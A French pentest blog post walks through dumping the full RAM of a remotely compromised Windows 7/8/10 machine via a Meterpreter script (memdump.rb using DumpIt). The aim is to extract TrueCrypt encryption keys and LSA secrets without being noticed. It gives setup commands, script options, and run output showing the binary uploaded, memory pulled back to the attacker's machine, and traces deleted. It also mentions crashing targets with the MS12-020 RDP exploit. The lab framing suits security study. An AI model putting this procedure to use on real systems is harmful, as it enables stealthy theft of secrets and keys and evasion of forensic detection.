Dump Mémoire via Meterpreter

Salut à tous dans cet article je vais vous parler d'une technique pour pouvoir faire un dump de la mémoire vive d'une cible distante compromis via une session Meterpreter.

L'idée m'est venu lorsque que je réaliser lorsque je préparais ma série d'article sur le pentest. Je voulais à ce moment récupérer les secret SLA d'une machine Windows 7 dans mon LAB perso que j'avais compromis avec Metasploit. Lors de cette investigation j'ai remarqué un lecteur disque chiffré probablement avec TrueCrypt (en certainement vu que c'est mon LAB).

En voyant cela je me suis donc poser la question suivante :

Oublions les secret SLA. Est-il possible de récupérer la clé de chiffrement du volume TrueCrypt ?

A ce moment-là dans ma tête plusieurs scénario ce dessine mais il fallait prendre en compte certaines contraintes que je me suis fixé pour réaliser cette mission.

  1. Je dois être le plus discret possible

  2. Ne pas avoir besoin d'élever mes privilèges

  3. Je ne dois laisser aucunes traces

  4. l'opération doit me prendre moins de 10 minutes

Ma première idée était la suivante récupérer via ma session Meterpreter le fichier C:\Memory.DMP qui est générer lors d'un blue screen et est un DUMP de la RAM.

J'ai deux soucis avec cette :

  1. Le dump de la RAM n'est pas un DUMP total de la Mémoire vive.

  2. L'imager de la RAM présent sur la machine peut dater de bien longtemps. Peut-être que ce disque n’était pas encore chiffré à ce moment où le blue screen a eu lieu

Seconde idée qui est plus une remédiation aux deux différents points soulevés par la méthode 1, je me suis dit je pourrai réaliser cela en trois étapes :

  1. Étant donné que j'ai une session Meterpreter je n'ai qu'à lancer une session VNC sur la cible et changer les paramètres du système pour que celui-ci fasse un dump complet de la RAM lors d'un blue screen

  2. Ajouter sur la machine cible le bureau à distance RDP (c'est très important pour pouvoir provoquer un blue screen)

  3. Utiliser l'exploit MS_12_020 afin d'exploiter un bug lié au protocole RDP pour provoquer un blue screen.

Si cette méthode résous bien mes problèmes de la méthode 1 elle m'en crée de nouveaux qui contredis totalement les contraintes imposer.

  • Ouvrir une session vnc sur une cible n'est pas très discret si cette cible est devant son bureau l'opération tombe à l'eau.

  • Activer le bureau à distance me demandera certainement d'avoir des privilèges Admin donc je devrai élever mes privilèges

  • Provoquer un blue screen sur une cible est tout sauf discret !!!

Maintenant que je sais que ces deux méthodes pourtant très alléchantes ne sont pas envisageable, je me suis dit qu'il devrait être possible de le faire directement via Meterpreter et qu'un script ou un module existait forcément.

C'est là qu'est le problème je suis vite tomber sur un article écrit par darkoperator (un monstre) et qui avait créer un tel script en 2009. Cependant le script n'était plus disponible ni sur son site ni sur son github.

Je me mets donc à fouiller dans les archive du web et tombe sur un snapshot de l'article datant de 2009 mais cette fois ci avec le script bien sûr.

Que ne fu pas ma joie quand j'ai récupéré ce script. Je pensais que mes problèmes étaient finis et que j'allais juste pouvoir réaliser mon dump dans le plus grand des calmes.

Grossière erreur !!!

L'article date de 2009 à l'époque où les machines tournaient su Windows XP et où Windows et dans le meilleur des mondes Windows vista, bref le script est totalement incompatible avec les OS actuel Windows 7/8/10.

Je suis donc face à un problème, j'ai un script écrit en Ruby qui fait ce que je souhaite faire mais qui n'est pas compatible avec mon environnement d'attaque et plus grave je ne parle pas couramment le Ruby !

Bon finalement plus de peur que de mal on a réussi à se comprendre finalement moi et ce script et j'ai finalement réussi à le faire fonctionner sur les environnements Windows 7/8/10 x64 et x32.

Pour réaliser le dump de la mémoire il utilisait à l'époque le logiciel mdd.exe créer par Matt Suiche (une autre force de la nature, un monstre...) et qui fonctionnait très bien sur Windows XP.

Pour le rendre compatible avec Windows 7/8/10 j'ai donc modifier ce script pour qu'il utilise DumpIt un logiciel similaire à mdd.exe et d’ailleurs développer par le même monstre.

Le script est disponible sur mon github ici

Comment ça marche

Pour que le script fonctionne il faut le récupérer sur github à l'adresse ci-dessus et l'ajouter dans le répertoire des script Meterpreter.


cd /usr/share/metasploit-framework/scripts/meterpreter 

wget https://github.com/sh4d0w4llk3r/memdump/blob/master/memdump.rb 

Une fois que cela est fait il faut télécharger DumpIt ici et l'ajouter dans le répertoire data de Meterpreter.


mv DumpIt.exe /usr/share/metasploit-framework/data/ 

Ceci étant fait nous pouvons lancer notre module via Meterpreter et récupérer le dump de la mémoire vive de notre cible sans éveiller aucun soupçon.


meterpreter > run memdump -h 

Memory Dumper Meterpreter Script 

OPTIONS: 

  -d  Dump Memory do not download 

  -h  Help menu. 

  -t <opt>  Change the timeout for download default 5min. Specify timeout in seconds 

meterpreter > 

L'option -d permet de réaliser un dump de la mémoire vive de notre cible sans la télécharger puis aller la récupérer manuellement dans un second temps


meterpreter > run memdump -d 

[*] Running Meterpreter Memory Dump Script..... 

[*] Uploading DumpIt for dumping targets memory.... 

[*] DumpIt uploaded as C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\29156.exe 

[*] Dumping target memory to C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\95180 .............................. 

[*] Finnished dumping target memory 

[*] Deleting dumpit.exe from target... 

[*] dumpit.exe deleted 

On voit qu'il efface bien ces traces derrière lui.

L'option -t permet d'augmenter le timeout qui par défaut est de 5 minute (ce qui suffit pour une mémoire vive de 8 Go), si jamais 5 minutes ne suffiraient pas pour réaliser le dump mémoire (en cas de très grosse mémoire RAM)

J'ai retiré volontairement l'option -c qui permettait de checker la taille de la mémoire de la cible pour deux raisons :

  1. Ce n'est pas indispensable vu que nous avons déjà une session meterpreter et que l'on peut avoir cette info par ce biais-là.

  2. Et pas des moindre je n'ai pas réussi à avoir un retour correct.

Si nous souhaitons faire le dump de la mémoire et le récupérer en même temps puis effacer toutes nos traces il suffit de lancer la commande sans aucune option.


meterpreter > run memdump 

[*] Running Meterpreter Memory Dump Script..... 

[*] Uploading DumpIt for dumping targets memory.... 

[*] DumpIt uploaded as C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\69376.exe 

[*] Dumping target memory to C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\75950 .................... 

[*] Finnished dumping target memory 

[*] Deleting dumpit.exe from target... 

[*] dumpit.exe deleted 

[*] Downloading memory image to /root/.msf4/logs/memdump/172.16.86.110-20180310.0901 

[*] Finnished downloading memory image 

[*] Deleting left over files... 

[*] Memory image on target deleted 

root@shado:~# ls -l /root/.msf4/logs/memdump/172.16.86.110-20180310.0901 

total 16384 

-rw-r--r-- 1 root root 16777216 mars  10 23:09 75950.img 

Voilà j'ai donc maintenant un dump le la mémoire de ma cible en local que je pourrai analyser au chaud avec volatility et récupérer la clé de chiffrement Trucrypt et même au passage récupérer les secret SLA, cela fera peut être l'objet d'un autre article.